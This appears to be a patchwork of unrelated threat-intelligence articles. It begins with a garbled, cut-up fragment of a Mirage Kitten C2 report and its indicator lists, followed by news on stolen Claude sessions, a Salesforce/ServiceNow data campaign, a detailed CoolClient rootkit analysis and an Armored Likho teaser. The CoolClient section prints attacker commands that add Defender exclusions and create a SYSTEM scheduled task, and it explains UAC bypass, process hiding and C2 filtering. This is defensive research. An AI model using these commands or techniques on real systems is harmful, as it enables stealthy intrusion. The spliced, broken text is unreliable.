We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations:
810F8E3B88EB05F710C09552941D6F56)
POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId, which is then stored and used as the session token for subsequent C2 communication.
| Malware | Host registration request body | C2 endpoint |
| PollCat | {“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<domain>”,”os”:”<os>”,”isElevated”:false} | /gate/hello |
| MiniFast/Retrograde | {“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<USERDOMAIN>”,”isElevated”:<bool>} | /agent/init |
socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId>, while PollCat follows the same pattern with GET /gate/fetch?token=<socketId>, demonstrating a closely aligned C2 communication structure.0x1D4C0), a jitter of 5,000 ms (0x1388), and a retry timeout of 60,000 ms (0xEA60). This further highlights the structural similarities between the two C2 communication implementations.REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence.
curl.exe --proxy-anyauth --proxy-user, using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families.onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets.Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations.
The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
CBAAF0900A13F28E380F49ADECEC932C FrontEnd-Task.zip
1EA83E4E4592B01E4ACAB63EB867BEE5 Front-Technical-Challenge.zip
366515822D5AC1CC500711EF57A2E32E Task-FullStack.zip
CF449F1992C2819E62AC44A0B06AC2E7 fullstack-1536.zip
E95A4366686E3F786EA3C056FAB5B0DA webapp76592.zip
DE5AF16A3757EF700B01DC34D67079AE webapp76531.zip
BE086789568441D0D7E4679AEE51F566 challenges-17831.zip
E259C5EDF158AAC4CFE14F77DDD0B196 challenges-17832.zip
291AC3ABE73C5158E59A437B75D5F0AA Project-1802.zip
0962F56D7EC69F4F2A0162DCBE22116B Case-34234.zip
795E053A990A1569FFDCB57F48F6D085 RankChallenge-react-6uJSX3-main.zip
oracle-challenge.s3[.]us-east-1.amazonaws[.]com
naturalapplication.azurewebsites[.]net
retaildemo.azurewebsites[.]net
tubitak.azurewebsites[.]net
rgbteller.azurewebsites[.]net
wslwebui.azurewebsites[.]net
plugplay.azurewebsites[.]net
crossdwm.azurewebsites[.]net
wdisystem.azurewebsites[.]net
wslmenus.azurewebsites[.]net
dnshnsdev.azurewebsites[.]net
hpjumpsrv.azurewebsites[.]net
storview.azurewebsites[.]net
healthcomfsdpower[.]com
visitfinancedentists[.]com
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
greenyjsgfd.azurewebsites[.]net
helptellerbls.azurewebsites[.]net
timedrv.azurewebsites[.]net
userwellgtfs.azurewebsites[.]net
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net
msmanagementgrp[.]com
msmanagementgrpmedia[.]com
lifespotify[.]com
gamebarapp.azurewebsites[.]net
gamebarappinformation.azurewebsites[.]net
sahi-finance[.]com
healthful-hub[.]com
neumedicahealthcare[.]com
optimumhealthcredit[.]com
healthfullyrecipes[.]com
Refreshhealthandwellness[.]com
healthvitalitycare[.]com
aceofspadesmanagement[.]com
glmediaagency[.]com
digimediaskill[.]com
healthyweightplan[.]com
mens-health-online[.]com





![]()
Anthropic warned users over the weekend that a threat actor is using widely available infostealer malware to hijack active Claude login sessions from infected computers, then using those sessions to run up victims' paid usage without ever needing a password or a two-factor code.
The company said it identified six malware families in the campaign: Vidar, LummaC2, StealC, RedLine and Acreed on Windows, and Atomic Stealer, known as AMOS, on a smaller number of macOS machines. None are novel or bespoke. All are commodity stealers sold or rented on criminal dark web marketplaces, and all work the same basic way - harvesting locally stored browser credentials, autofill data and authentication cookies from a compromised machine and shipping them to an operator's server.
What makes the campaign notable is the target rather than the technique. Session cookies represent an already-authenticated state, so an attacker who replays a stolen Claude session token steps past both the account password and multi-factor authentication entirely. This is textbook session hijacking; the new element is that paid AI assistant subscriptions have become worth stealing as a commodity in their own right, alongside the streaming and gaming accounts that stealer log markets have traded for years.
Anthropic told affected users that the tell sign for them was a usage pattern that made no sense. Limits appearing to refill and then drain while the account owner was not using Claude was the biggest red flag.
The company said it is signing affected users out of their sessions, removing saved payment methods from compromised accounts and refunding unauthorized charges identified during its investigation. It also stressed that the malware is not connected to Claude, was not installed through Claude and did not result from anything users did with the product. Infections trace to the usual vectors — pirated software and other illicit downloads.
A Reddit user going by the moniker "WorriedAssociate7029" received the notification from Anthropic and confirmed that he mistakenly installed an infostealer from "a reputable Russian underground forum" while downloading a pirated game. "I got fooled like a rookie by downloading a cracked game," he said.
Intrestingly though, the user claimed of using Claude's Opus model to detect and remove the malware.
"I use the models exclusively in permission-free mode on my entire computer," the Reddit user said."Opus was very efficient. It scanned for active processes, then listed my recent downloads. It found the virus almost instantly. My prompt was very simple: "I think I downloaded a virus recently. My login credentials were stolen. Audit the malware and remove it if you find it. Report on the extent of the damage. He deactivated the virus and created a folder on the desktop containing all the relevant information (including the deactivated virus, lol)."
Anthropic has not disclosed how many accounts were affected.
The security implications reach past the billing line. AI assistant accounts increasingly hold conversation histories, uploaded documents, connected data sources and, in developer configurations, API keys and repository access. A hijacked session inherits whatever the account can reach. Organizations that have rolled out AI tools without folding them into identity and access management now have a class of high-value session token sitting in employee browsers, largely outside the monitoring applied to corporate SaaS.
Anthropic's guidance to compromised users is the standard infostealer playbook. Change credentials across every service used on the affected machine, revoke active sessions, and actually remove the malware, since signing out does not clear an infection that will simply harvest the next session.
There is no formal regulatory hook here yet — no confirmed breach of the provider itself and no disclosure obligation triggered on Anthropic's side. But the episode lands as regulators and standards bodies are working out how AI system security fits existing frameworks, and it illustrates a gap those frameworks have barely addressed - the weakest point in an AI deployment may be an unmanaged endpoint rather than the model or the platform.

Modern software is assembled, not written. A single application routinely draws on hundreds of third-party components, pulled in on demand and updated continuously as part of normal process. That convenience has quietly become a dependable initial-access route that bypasses traditional perimeter and endpoint defenses. Rather than breaching a hardened production perimeter, adversaries increasingly compromise the developer, the maintainer account, the build pipeline, or the package registry — and let trusted automation carry their code the rest of the way.

Records held in Salesforce and ServiceNow systems are under attack leaving user data exposed, according to researchers at Reco.
The attack appears similar to those perpetrated by the extortion group ShinyHunters, Reco said. ShinyHunters has been particularly active this year, attacking dating sites in January and Oracle in June, and there are fears that they could have found a new target.
Reco has named the latest campaign of attacks “City-Forum,” after a domain name associated with the attackers’ IP address. While it bears similarities to Shiny Hunters’ past exploits, there are also differences. This time around the attacker penetrated the systems through the UI-API layer, an attack point that Reco had not seen used before, and had also created its own toolset to carry out the attack. It is also targeting a native ServiceNow Service Portal search endpoint that has almost no online documentation or well-known open-source tools.
The threat is particularly noteworthy, Reco said, as the attackers have studied the services to map different common data-leak vectors, a sign of an advanced approach.
A Salesforce spokesperson said that it was aware of the campaign in which malicious actors are exploiting customers’ overly permissive Experience Cloud guest user configurations in the campaign to potentially access more data than targeted organizations intended.
“This issue highlights risks stemming from misconfigurations, such as overly permissive guest user profiles, and not from a Salesforce vulnerability,” the spokesperson said.
Regardless of who the attackers were and how the attack was carried out, one thing should be clear: Organizations should be increasingly careful about who they give login credentials to.
This article first appeared on CSO.


![]()
CoolClient is a backdoor family attributed to the HoneyMyte APT group (also known as Mustang Panda) that has been used in their cyber-espionage campaigns targeting organizations across Asia and Russia. It supports such capabilities as keylogging, clipboard theft, credential harvesting, file management, system reconnaissance, and plugin-based extensions.
Since its first public disclosure by Sophos in 2022 and subsequent analysis by Trend Micro in 2023, CoolClient has continued to evolve. In 2025, we analyzed a newer variant that introduced clipboard theft and HTTP traffic interception for credential harvesting.
In late 2025 and 2026, our latest investigation reveal another major evolution. The newest CoolClient variant can deploy a signed kernel-mode driver as a Windows service and communicate with it through IOCTL requests. The driver enhances the malware’s stealth by hiding the CoolClient process, protecting related files and registry entries, and preventing them from being inspected or modified. The overall design is comparable to the kernel-mode enhancements previously observed in ToneShell, but the CoolClient driver exposes dedicated IOCTL handlers that allow the user-mode backdoor to communicate directly with the driver.
We have observed this updated CoolClient variant and its accompanying driver in intrusions across multiple countries in Asia, including Pakistan, Mongolia, and Myanmar.
In the observed campaign targeting Myanmar, HoneyMyte used PlugX as the initial post-compromise implant to deploy the CoolClient components. Before deploying the malware, the actor added both a folder exclusion and a file exclusion to Microsoft Defender for the fake Windows Defender installation directory and the renamed sideloader executable (defender.exe).
wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender" wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender\defender.exe"
The actor then created a fake Windows Defender installation directory, copied the CoolClient components into it, and renamed a legitimate Sangfor executable, usually named Sang.exe, to defender.exe to serve as the DLL sideloader.
xcopy "$programfiles\Windows Defender\*" "$programfiles\Microsoft\Windows Defender" /a /s /v /e /f
Persistence was established through a scheduled task that launched defender.exe with SYSTEM privileges during system startup.
schtasks /create /sc onstart /tn "\Microsoft\Windows\Windows Defender Advanced Threat Protection Service" /tr "\"$programfiles\Microsoft\Windows Defender\defender.exe\"" /ru "system" /F
When executed, defender.exe sideloads the malicious libngs.dll, initiating the CoolClient execution chain described in the following sections.
Similar to previous variants, the latest CoolClient user-mode component follows a multi-stage execution chain, with each component performing a distinct role during execution.
| Component | Description |
| defender.exe / Sang.exe | Legitimate Sangfor application abused for DLL sideloading |
| libsrapc.dll | Benign dependency required for the Sangfor application to execute normally |
| libngs.dll | First-stage loader that decrypts and loads the next stage into memory (First stage) |
| loadcert.ini | Encrypted DLL implementing the core CoolClient functionality, including command handling, process injection, driver deployment, and persistence (Second stage) |
| cert.ini | Final-stage implant responsible for C2 communication and backdoor functionality (Final stage) |
| time.ini | CoolCleint configuration file |
Our previous CoolClient analysis focused primarily on the final-stage implant (main.dat), including its backdoor commands and plugin framework, while the first-stage loader (libngs.dll) and second-stage component (loader.dat) received only a brief overview. In the latest variant CoolClient, loader.dat and main.dat have been renamed to loadcert.ini and cert.ini, respectively. This article revisits those earlier stages, focusing on the second-stage component and the newly introduced kernel-mode driver that extends CoolClient with rootkit capabilities.
Execution begins when the legitimate Sangfor application (defender.exe or Sang.exe) loads the malicious libngs.dll through DLL sideloading. As in previous CoolClient variants, the malware continues to abuse the same Sangfor application to execute its first-stage loader.
To make the DLL appear legitimate, libngs.dll exports numerous dummy functions. Each export simply calls OutputDebugStringA with its corresponding function name before immediately invoking ExitProcess, serving no functional purpose other than mimicking the expected export table of the legitimate DLL.
The actual malicious logic is executed from DllMain (DllEntryPoint). Although heavily obfuscated through control flow flattening and numerous unconditional jumps, the routine ultimately performs a straightforward task: loading, decrypting, and executing the encrypted second-stage DLL, loadcert.ini.
The loader resolves the required Windows APIs, reads loadcert.ini into memory, and decrypts it using a 0x32-byte repeating XOR keystream derived from a transformed seed value of 0xA4. After decryption, the DLL is loaded directly into memory, and execution is transferred to loadcert.ini.
loadcert.ini (before synchost.exe injection)The second-stage DLL, loadcert.ini, is responsible for preparing the execution environment before the malware transitions into its injected process. It first determines its execution context by checking whether the current module is synchost.exe.
If the DLL is running under the original sideloaded process (for example, Sang.exe), it performs the initial setup, including persistence, UAC bypass, registry modifications, and process injection.
If the DLL is already executing inside synchost.exe, it follows a different execution path that decrypts time.ini, deploys the kernel-mode driver, and loads the final-stage implant (cert.ini).
The command handler remains largely unchanged from previous CoolClient variants, with one notable difference: the malware now injects into synchost.exe instead of write.exe.
Execution is controlled through three command-line parameters:
| Parameter | Purpose |
| install | Performs the initial setup, including persistence, privilege checks, and preparation for the injected execution path. |
| work | Executes the primary second-stage functionality from the injected synchost.exe process, including driver deployment and third-stage loading. |
| passuac | Continues execution after privilege elevation. |
If no parameter is supplied, the malware creates a new Sang.exe process with the install parameter using CreateProcessW.
When executed with the install parameter, CoolClient creates an AutoRun entry under:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
The registry value, named goopdate, launches Sang.exe (or defender.exe, depending on the deployment) with the work parameter whenever the user logs on.
Upon establishing the AutoRun registry entry, CoolClient decrypts loadcert.ini using a 0x32-byte repeating XOR keystream derived from the hardcoded base key 0x4D.
The decrypted DLL is then injected into a newly created suspended instance of synchost.exe. The malware allocates memory in the target process, writes the decrypted payload, redirects the thread context to the injected code, resumes execution, and finally terminates the original process with ExitProcess.
From this point onward, execution continues entirely within synchost.exe, where the malware proceeds with kernel-mode driver deployment before loading the final-stage implant (cert.ini).
When executed with the install parameter, CoolClient establishes an additional persistence mechanism by installing itself as a Windows service. Before doing so, it verifies that it has sufficient access to the Service Control Manager and that no 360 Total Security software processes (360sd.exe, zhudongfangyu.exe, or 360desktopservice64.exe) are running.
If both checks succeed, the malware decrypts time.ini to retrieve the service configuration, including the service name and description. It then checks whether the service media_updaten already exists. If found, the existing service is stopped and deleted before a new one is created.
The new service is configured to execute Sang.exe<.code> with the work parameter using CreateServiceA. The malware then starts the service by executing "sc start media_updaten" via WinExec.
If the service installation path is not taken, CoolClient checks whether the current process is running with administrator privileges by verifying membership in the local Administrators group.
When administrative privileges are available, the malware relaunches itself with the passuac parameter before continuing with the remaining execution flow.
To continue execution with elevated privileges while concealing its true parent process, CoolClient implements an RPC-based process creation technique similar to the method described by Google Project Zero. The technique combines RPC process creation with parent process ID (PPID) spoofing to launch a new elevated instance of itself.
The malware first checks for the presence of escanmon.exe. If the process is running, it constructs the path to C:\Windows\System32\winver.exe and establishes a connection to the local ncalrpc endpoint (201ef99a-7fa0-444c-9399-19ba84f12a1a). It then invokes NdrAsyncClientCall to launch winver.exe through the RPC interface.
After winver.exe is created, CoolClient retrieves its debug object using NtQueryInformationProcess, detaches the debugger through NtRemoveProcessDebug, and terminates the process. The obtained debug object is later reused during the remainder of the UAC bypass routine.
Next, the malware repeats the same RPC-based process creation technique to launch computerdefaults.exe. It associates the previously obtained debug object with the current thread using DbgUiSetThreadDebugObject, waits for the resulting process creation event through WaitForDebugEvent, and duplicates the process handle using NtDuplicateObject, obtaining a handle with full access rights.
Finally, CoolClient relaunches itself as Sang.exe passuac using CreateProcessW with an extended startup attribute list. By configuring PROC_THREAD_ATTRIBUTE_PARENT_PROCESS through UpdateProcThreadAttribute, the duplicated process handle is assigned as the parent of the new process. As a result, the new Sang.exe passuac instance executes with an elevated context while appearing to have been spawned by the trusted Windows process instead of the original CoolClient process.
After being injected into synchost.exe, loadcert.ini follows its injected execution path, where it deploys the kernel-mode driver and launches the final-stage implant (cert.ini). If administrative privileges are unavailable, the malware skips driver deployment and proceeds directly to the third-stage injection.
The deployment routine begins by decrypting time.ini. CoolClient then verifies that it has sufficient privileges to install a kernel-mode driver by checking for full access to the Service Control Manager (SCM) and the presence of SeTcbPrivilege.
If both conditions are met, CoolClient extracts an embedded LZMA-compressed driver from loadcert.ini, decompresses it, and writes it to disk as msagent.sys in the same directory as cert.ini, for example:
C:\Program Files\Microsoft\Windows Defender\msagent.sys
Next, the malware checks whether a service named msagent already exists. If present, the existing service is stopped and deleted before a new driver service is created and started, loading the kernel-mode component into the operating system.
After the driver is loaded, CoolClient establishes communication with it by opening the device \\.\msagent using CreateFileW. The user-mode component then initializes the driver by issuing three DeviceIoControl requests.
| IOCTL | Purpose |
| 0x222120 | Registers the current CoolClient process with the driver. |
| 0x2221E0 | Sends the configured C2 IPv4 address to the driver. |
| 0x2220F0 | Registers filesystem and registry paths that should be protected or hidden. |
The first request (0x222120) registers the current CoolClient process as a trusted process within the driver. The request includes the process ID, an operation code, and a flag that marks the process as trusted, allowing it to interact with protected files, registry keys, and processes.
The second request (0x2221E0) passes the configured C2 IPv4 address extracted from time.ini.
Finally, 0x2220F0 registers the CoolClient installation directory (for example, C:\Program Files\Microsoft\Windows Defender\) together with the service registry path (\Registry\Machine\SYSTEM\CurrentControlSet\Services\media_updaten). These entries allow the driver to protect the malware’s files and registry objects from inspection, modification, and deletion.
As part of the initialization, CoolClient updates the HKLM\SYSTEM\RNG\Wid_H1deF5Dirs registry value by appending its installation directory if it is not already present. This registry value is later used by the driver when applying its hiding and protection mechanisms.
The implementation of these IOCTL handlers and the corresponding driver functionality are discussed in the msagent.sys section.
Once the driver has been initialized, CoolClient proceeds to launch the final-stage implant (cert.ini). Before creating the target process, the malware enumerates active WinStation sessions to identify a suitable interactive user session.
After selecting a session, CoolClient duplicates its access token, updates the session identifier, and creates a new synchost.exe process using CreateProcessAsUserA. The decrypted cert.ini DLL is then injected into the suspended process using the same memory allocation, thread context modification, and ResumeThread technique described earlier.
This marks the final transition in the execution chain, where the third-stage implant takes over C2 communication and the remaining backdoor functionality.
Analysis of the deployed kernel-mode driver reveals an embedded PDB path:
E:\work\南京实验室\2024项目\张雪杰云南m\研发\FTool\Tool\x64\Release\FTool.pdb
南京实验室) and “Zhang Xuejie Yunnan m” (张雪杰云南m), which likely refer to the driver’s development environment. However, our OSINT analysis did not identify any information linking these strings to a known organization, developer, or threat actor.
The driver is digitally signed with a certificate issued to "Nanjing Ranyi Technology Co., Ltd.", with serial number 3E 62 DC 5D 8D 61 2A 26 33 E7 6B DF D6 07 19 DD. The certificate was valid from August 2013 to September 2014.
We identified several older malicious drivers signed with the same certificate that were compiled around 2013. However, we found no evidence directly linking those samples to the CoolClient activity described in this article.
During initialization, the driver loads its stealth configuration from the registry key \REGISTRY\MACHINE\SYSTEM\RNG. The configuration defines which system objects should be hidden or protected and controls the driver’s operating mode.
Two REG_DWORD values control the driver’s operating mode:
| Registry Value | Default | Description |
| Hid_State | 1 | Enables the driver’s rootkit functionality. |
| Hid_StealthMode | 0 | Controls additional stealth features used by selected driver routines. |
In addition, the driver loads several REG_MULTI_SZ values that define the objects to be hidden or protected.
| Registry Value | Purpose |
| Wid_H1deF5Dirs | Directories to hide |
| Wid_H1deF5Files | Files to hide |
| Wid_H1deRegKeys | Registry keys to hide |
| Wid_H1deRegValues | Registry values to hide |
| Hid_IgnoredImages | Processes to ignore |
| Hid_ProtectedImages | Processes to protect |
Together, these registry values determine which filesystem paths, registry objects, and processes are managed by the driver’s protection mechanisms.
After loading the configuration, the driver converts the registry entries into internal lookup structures that are shared across its various protection components.
These structures are later referenced by the filesystem minifilter, registry callback, process callback, object callback, image load callback, and IOCTL handlers to determine whether a file, registry object, or process should be hidden, protected, or ignored.
Next, the driver dynamically locates the ActiveProcessLinks (LIST_ENTRY) field within the EPROCESS structure instead of relying on hardcoded offsets. It first validates several predefined offsets and, if none match, performs a linear scan of the EPROCESS structure to identify the correct location. This approach allows the driver to remain compatible across different Windows versions, where the layout of EPROCESS may differ.
Once the correct offset has been identified, it is stored for later use by the process hiding routines. During process hiding and restoration, the driver uses IOCTLs 0x22219C and 0x2221A0 to unlink and relink entries in the Windows active process list, effectively hiding or restoring processes on demand.
After preparing its process tracking structures, the driver initializes several AVL trees and populates them with configuration entries loaded from the registry, including Wid_H1deF5Dirs, Wid_H1deF5Files, Wid_H1deRegKeys, Wid_H1deRegValues, Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages.
These AVL trees provide efficient lookups for protected files, registry objects, and tracked processes, and are shared by the callback routines and IOCTL handlers.
The driver then registers three types of kernel callbacks that form the foundation of its protection and monitoring mechanisms:
ObRegisterCallbacksPsSetCreateProcessNotifyRoutineExPsSetLoadImageNotifyRoutineAfter registration, these callbacks maintain the driver’s internal tracking structures as processes, threads, and images are created or loaded.
To protect selected processes, the driver registers object callbacks for process (PsProcessType) and thread (PsThreadType) objects using ObRegisterCallbacks with an altitude of 1203. These callbacks intercept requests to open process and thread handles. If the target process is protected, the driver reduces the access rights granted to the requesting process, preventing operations such as process termination, code injection, and other forms of process manipulation. In this sample, the protected process is the injected CoolClient code running inside synchost.exe.
The driver registers process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx, together with an image load callback via PsSetLoadImageNotifyRoutine.
When a process is created, its image name is compared against the configuration lists Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages. Matching processes are added to the driver’s internal tracking structures, allowing them to be protected, hidden, or managed through subsequent IOCTL requests. When a tracked process terminates, its entry is removed from the tracking structures.
The image load callback monitors modules loaded into tracked processes and updates the driver’s internal state to support subsequent protection and hiding operations.
To ensure that processes already running before the driver is initialized are also tracked, the driver performs a one-time enumeration of all active processes after registering the callbacks and adds any matching processes to the tracking structures.
To protect files and directories, the driver registers a filesystem minifilter. During initialization, it creates internal path filter lists, loads the configured directory and file entries (Wid_H1deF5Dirs and Wid_H1deF5Files), and creates the required minifilter registry entries under HKLM\SYSTEM\CurrentControlSet\Services\msagent\Instances. To avoid altitude conflicts, the driver dynamically assigns a filter altitude and retries registration until a unique value is obtained.
Retrying minifilter registration with incrementing filter altitude values until FltRegisterFilter succeeds
The driver then activates the minifilter using FltRegisterFilter. The filter works together with the IOCTL interface, which dynamically adds, removes, or clears protected path entries (0x2220F0, 0x2220F4, and 0x2220F8). During filesystem operations, the minifilter compares accessed paths against its internal path lists and denies access to matching entries, effectively hiding protected files and directories from users and applications.
To protect registry keys and values, the driver registers a registry callback using CmRegisterCallbackEx with an altitude of 320000. During initialization, it creates separate lookup structures for protected registry keys and values, then populates them using the configured entries from Wid_H1deRegKeys and Wid_H1deRegValues.
Once registered, the callback intercepts registry operations and compares the target key or value against the protected entries. For enumeration requests, matching keys and values are removed from the results before they are returned to user mode, effectively hiding them from registry viewers. For direct access requests, such as opening, modifying, or deleting protected registry objects, the callback returns STATUS_ACCESS_DENIED, preventing the operation.
Before applying these restrictions, the driver verifies whether the requesting process is trusted. Processes registered through IOCTL 0x222120, including the CoolClient user-mode component, bypass the filtering logic and retain unrestricted access, while all other processes remain subject to the driver’s registry protection rules.
To communicate with the user-mode component, the driver creates a device object named \Device\ToolTool together with the symbolic link \DosDevices\ToolTool to allow the user-mode CoolClient component to communicate with the driver through DeviceIoControl requests.
The driver implements 33 IOCTL handlers, although the analyzed CoolClient sample uses only three during normal execution:
0x222120: registers the current CoolClient process with the driver.0x2221E0: passes the configured C2 IPv4 address.0x2220F0: registers filesystem and registry paths for protection.The remaining IOCTL handlers were not invoked by the analyzed sample.
| IOCTL | Handler | Functionality |
| 0x222000 | 0x140001E04 | Enable or disable the rootkit. |
| 0x222004 | 0x1400020B0 | Query the current rootkit state. |
| 0x2220F0 | 0x140002320 | ● Register protected filesystem or registry paths ● Used by CoolClient to register its installation directory and service registry key. |
| 0x2220F4 | 0x1400034DC | Remove a protected filesystem or registry path. |
| 0x2220F8 | 0x140003464 | Clear all protected filesystem and registry path entries. |
| 0x222118 | 0x1400024B0 | Register process or path protection entries. |
| 0x22211C | 0x140002A20 | Query registered protection entries. |
| 0x222120 | 0x140003794 | Update process protection entries. Used by CoolClient to register itself as a trusted process. |
| 0x222124 | 0x14000362C | Remove a protection entry. |
| 0x222128 | 0x14000349C | Clear all process protection entries. |
| 0x222130 | 0x14000265C | Register a protected process by PID. |
| 0x222134 | 0x140010E88 | Inject shellcode into a target process using NtCreateThreadEx. |
| 0x222138 | 0x14000F498 | Hide a kernel module by unlinking it from PsLoadedModuleList. |
| 0x222144 | 0x14000270C | Delete a file. |
| 0x222148 | 0x14000286C | Decrypt an embedded buffer and write it to disk. |
| 0x22214C | 0x1400027F4 | Read and decrypt an encrypted file. |
| 0x222168 | 0x140002780 | Unmap the image section of a target process. |
| 0x22216C | 0x140013984 | Terminate a process by PID. |
| 0x222194 | 0x140011F50 | Remove Protected Process Light (PPL) protection. |
| 0x222198 | 0x140002940 | Create or modify a registry value. |
| 0x22219C | 0x140010630 | Hide a process by unlinking it from the active process list. |
| 0x2221A0 | 0x140010670 | Restore a previously hidden process. |
| 0x2221A4 | 0x14000F8A0 | Hide a module within a process. |
| 0x2221A8 | 0x14000F954 | Restore a hidden module. |
| 0x2221AC | 0x140016368 | Enumerate and restore kernel notification callbacks. |
| 0x2221B0 | 0x140016458 | Disable or restore kernel notification callbacks. |
| 0x2221B4 | 0x140012408 | Manually load a secondary kernel driver. |
| 0x2221B8 | 0x14001262C | Debug/test handler. |
| 0x2221BC | 0x1400165F6 | Write to an arbitrary kernel address. |
| 0x2221C0 | 0x14000BB00, 0x14000BB78 | Enables deny-rootkit mode by registering image-load monitoring and enabling the patching logic. |
| 0x2221C4 | 0x14000BB6C, 0x14000BB10 | Disables deny-rootkit mode by clearing state and unregistering/removing the monitoring logic. |
| 0x2221E0 | 0x1400126C0 | Register a C2 IPv4 address. |
| 0x2221E4 | 0x140012E50 | Delete a C2 IPv4 address. |
After initializing the IOCTL dispatcher, the driver releases the temporary configuration buffer that was previously loaded from \REGISTRY\MACHINE\SYSTEM\RNG.
To support kernel module hiding, the driver resolves the address of the non-exported kernel variable PsLoadedModuleList at runtime using MmGetSystemRoutineAddress. This global linked list maintains information about all loaded kernel modules and drivers, allowing the rootkit to enumerate and manipulate module entries.
Driver initialization routine resolving the address of PsLoadedModuleList for subsequent kernel module hiding
This functionality is exposed through IOCTL 0x222138, which accepts a module name or path from the user-mode component. When a matching module is found, the driver locates the corresponding entry in PsLoadedModuleList and unlinks it by updating its Flink and Blink pointers. As a result, the hidden module no longer appears in standard kernel module enumeration routines.
The driver also hooks the Nsiproxy driver to filter network-related data returned to user mode. This functionality is connected to IOCTL 0x2221E0, which allows the user-mode component to register C2 IPv4 addresses with the driver.
To install the hook, the driver obtains a reference to \Driver\Nsiproxy using ObReferenceObjectByName and replaces one of the Nsiproxy handler pointers with its own filtering routine. The hook preserves the original handler and forwards execution after processing the returned data.
Installing the Nsiproxy hook by resolving \Driver\Nsiproxy and replacing the original handler with the driver’s filtering routine
When the hooked routine processes network information, the driver compares the returned entries against its registered C2 address list. Matching IP addresses are removed before the data is returned to user mode, preventing applications that rely on Nsiproxy-provided network information from seeing the malware’s C2 addresses.
Finally, the driver registers a DriverUnload routine to release allocated resources when the driver is unloaded.
The latest CoolClient variant continues to target organizations consistent with previously observed HoneyMyte activity. Based on our investigations, we identified victims in Myanmar, Mongolia, Pakistan, and Russia, including confirmed government entities.
Across the observed intrusions, CoolClient was consistently deployed as a secondary backdoor following a PlugX infection, indicating that HoneyMyte continues to use PlugX as its initial post-compromise implant before transitioning to CoolClient.
Our analysis confirms that the investigated malware is a new CoolClient variant associated with the HoneyMyte threat group. While the overall execution flow remains consistent with previously documented CoolClient variants, this sample introduces a previously undocumented kernel-mode driver that significantly expands the malware’s stealth capabilities.
The deployment chain observed in this investigation is also consistent with previous HoneyMyte campaigns, in which PlugX serves as the initial foothold before CoolClient is deployed as a secondary backdoor, further reinforcing the attribution.
The latest CoolClient variant represents a significant evolution of the malware. Rather than operating solely as a user-mode backdoor with plugin support, it now deploys and communicates with a kernel-mode driver that extends its capabilities beyond earlier versions. Through this driver, CoolClient can hide and protect processes, files, and registry objects, as well as filter selected network information, making detection and analysis considerably more difficult.
HoneyMyte has previously introduced kernel-mode functionality in ToneShell. The addition of a kernel-mode driver to CoolClient suggests that the group continues to expand its use of rootkit capabilities to improve stealth, persistence, and defense evasion during post-compromise operations.
2d7c8780e97409770a9d4f31c66c9d63 msagent.sys
9460E150E1981D5C165043520C5C12FE msagent.sys
9717F005C5FB98E08D2AD983D88F94EE libngs.dll
F518D8E5FE70D9090F6280C68A95998F libngs.dll
EB79558B037669792652A816E2C669DE ctxmui.dll
C:\Program Files\microsoft\windows defender\
C:\Program Files\windows media player\mediares\
C:\ProgramData\symantecdir\
C:\ProgramData\virtualstore\
C:\Windows\identitycrl\production\
C:\Windows\serviceprofiles\networkservice\
C:\Users\<user>\AppData\Local\viber24.8\
C:\Users\<user>\AppData\Roaming\dsassistant\
C:\Program Files\common files\microsoft shared\office14\
C:\programdata\msdn\
cloudtroe.giize[.]com
employers.theworkpc[.]com
freeread.casacam[.]net
us.lenovoappstore[.]com
sundanish.freeddns[.]org
torinarlabs.webredirect[.]org
news.dursamjbataar[.]org
video.dursamjbataar[.]org
black-popular[.]com
whatismybestthing[.]com





![]()
In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionage.
We’ve written previously about recent Armored Likho attacks, but our analysis shows that the campaign discussed below has more in common with the group’s activity from February. That said, the attackers have significantly expanded their arsenal.
During our research, we found a new cyber-espionage toolkit written in Rust: the Still Toolkit. One of its components, Still Sync, steals Telegram session data to gain ongoing access to the victim’s account. With this stolen data, attackers can leverage the Telegram API to automatically pull chat logs, media files, and other information from the account.
The second component, Still Audio, is an implant for covert audio surveillance. It analyzes the incoming audio stream, automatically detects speech, records conversations, and sends the recordings to a command-and-control server.
In this article, we’ll look at the initial infection method, how the new Still Toolkit components are built, and the technical details of how they operate.
Kaspersky products detect this threat as Trojan.Win64.Agent.* and HEUR:Backdoor.Win32.Generic.
